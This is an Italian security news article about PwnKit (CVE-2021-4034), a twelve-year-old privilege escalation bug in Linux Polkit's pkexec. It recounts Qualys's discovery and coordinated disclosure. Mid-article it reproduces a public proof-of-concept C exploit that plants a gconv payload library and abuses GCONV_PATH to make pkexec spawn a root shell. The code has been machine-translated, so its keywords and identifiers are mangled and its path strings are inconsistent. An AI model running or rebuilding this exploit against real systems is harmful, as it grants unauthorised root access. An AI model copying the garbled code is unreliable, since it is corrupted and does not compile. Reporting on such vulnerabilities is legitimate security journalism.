Red Hot Cyber

Sicurezza informatica, cybercrime, hack
news, e altro ancora
  • English

PwnKit: il bug universale su Linux di privilege escalation, vecchio di 12 anni.

Una vulnerabilità nel componente pkexec di Polkit identificato come CVE-2021-4034 (PwnKit) è stata scoperta dal team di ricerca di Qualys, ed è presente nella configurazione predefinita di tutte le principali distribuzioni Linux e può essere sfruttata per ottenere privilegi di root completi sul sistema, avvertono oggi i ricercatori.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Parte del framework dell’applicazione open source Polkit che negozia l’interazione tra processi privilegiati e non privilegiati, pkexec consente a un utente autorizzato di eseguire comandi come un altro utente.

Il corretto sfruttamento di questa vulnerabilità consente a qualsiasi utente senza privilegi di ottenere i privilegi di root sull’host vulnerabile. I ricercatori sulla sicurezza di Qualys sono stati in grado di verificare in modo indipendente la vulnerabilità, sviluppare un exploit e ottenere i privilegi di root completi sulle installazioni predefinite di Ubuntu, Debian, Fedora e CentOS.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Altre distribuzioni Linux sono probabilmente vulnerabili e probabilmente sfruttabili. Questa vulnerabilità è stata nascosta per oltre 12 anni e interessa tutte le versioni di pkexec dalla sua prima versione nel maggio 2009 (commit c8c3d83).

Advertisements

Non appena il team di ricerca ha confermato la vulnerabilità, Qualys si è impegnata nella divulgazione responsabile e si è coordinata con i fornitori e le distribuzioni open source per annunciare la vulnerabilità. Guarda questo video di un potenziale percorso di exploit.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
https://player.vimeo.com/video/669715589?h=3bf67eea45&title=0&byline=0&portrait=0&playsinline=0&autopause=0&app_id=122963

A quanto pare, è già emerso un exploit, a meno di tre ore dalla pubblicazione dei dettagli tecnici di PwnKit da parte di Qualys.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

BleepingComputer ha compilato e testato l’exploit disponibile, che si è rivelato affidabile in quanto ci ha fornito i privilegi di root sul sistema in tutti i tentativi.

/*
 * blasty-vs-pkexec.c -- di blasty <peter@haxx.in> 
 *------------------------------------------------
 * PoC per CVE-2021-4034, grida a Qualys
 *
 * exploit di qualità ctf
 *
 * bla bla divulgazione irresponsabile
 *
 * -- esplosivo // 25-01-2022
 */
#include <stdio.h>
#include <stdlib.h>
#include <stringa.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void fatal(char *f) {
    errore(f);
    uscita(-1);
}
void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    se (f == NULLA) {
        fatale("fopen");
    }
    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        " ritorno;\n"
        "}\n"
        "void gconv_init() {\n"
        " setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        " carattere statico *a_argv[] = { \"sh\", NULL };\n"
        " carattere statico *a_envp[] = { \"PERCORSO=/bin:/usr/bin:/sbin\", NULL };\n"
        " execve(\"/bin/sh\", a_argv, a_envp);\n"
        " uscita(0);\n"
        "}\n";
    fwrite(così_codice, strlen(così_codice), 1, f);
    fclose(f);
    system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    carattere *a_envp[]={
        "LOL",
        "PERCORSO=GCONV_PERCORSO=.",
        "LC_MESSAGES=it_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULLO
    };
    printf("[~] aiutante per la compilazione..\n");
    compile_so();
    if (stat("PERCORSO_GCONV=.", &st) < 0) {
        if(mkdir("GCONV_PATH=", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        se (fd < 0) {
            fatale("aperto");
        }
        chiudere(fd);
    }
    se (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        se(fp == NULLO) {
            fatale("fopen");
        }
        fprintf(fp, "modulo UTF-8// INTERNO ../carico utile 2\n");
        fclose(fp);
    }
    printf("[~] forse ottieni la shell ora?\n");
    execve("/usr/bin/pkexec", a_argv, a_envp);
}

test svolto da Bleeping computer su Ubuntu

Advertisements

Riferendosi all’exploit, l’analista di vulnerabilità CERT/CC Will Dormann ha affermato che è sia semplice che universale. Il ricercatore lo ha ulteriormente testato su un sistema ARM64, dimostrando che funziona anche su quell’architettura.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Qualys ha segnalato il problema di sicurezza in modo responsabile il 18 novembre 2021 e ha atteso che una patch diventasse disponibile prima di pubblicare i dettagli tecnici di PwnKit .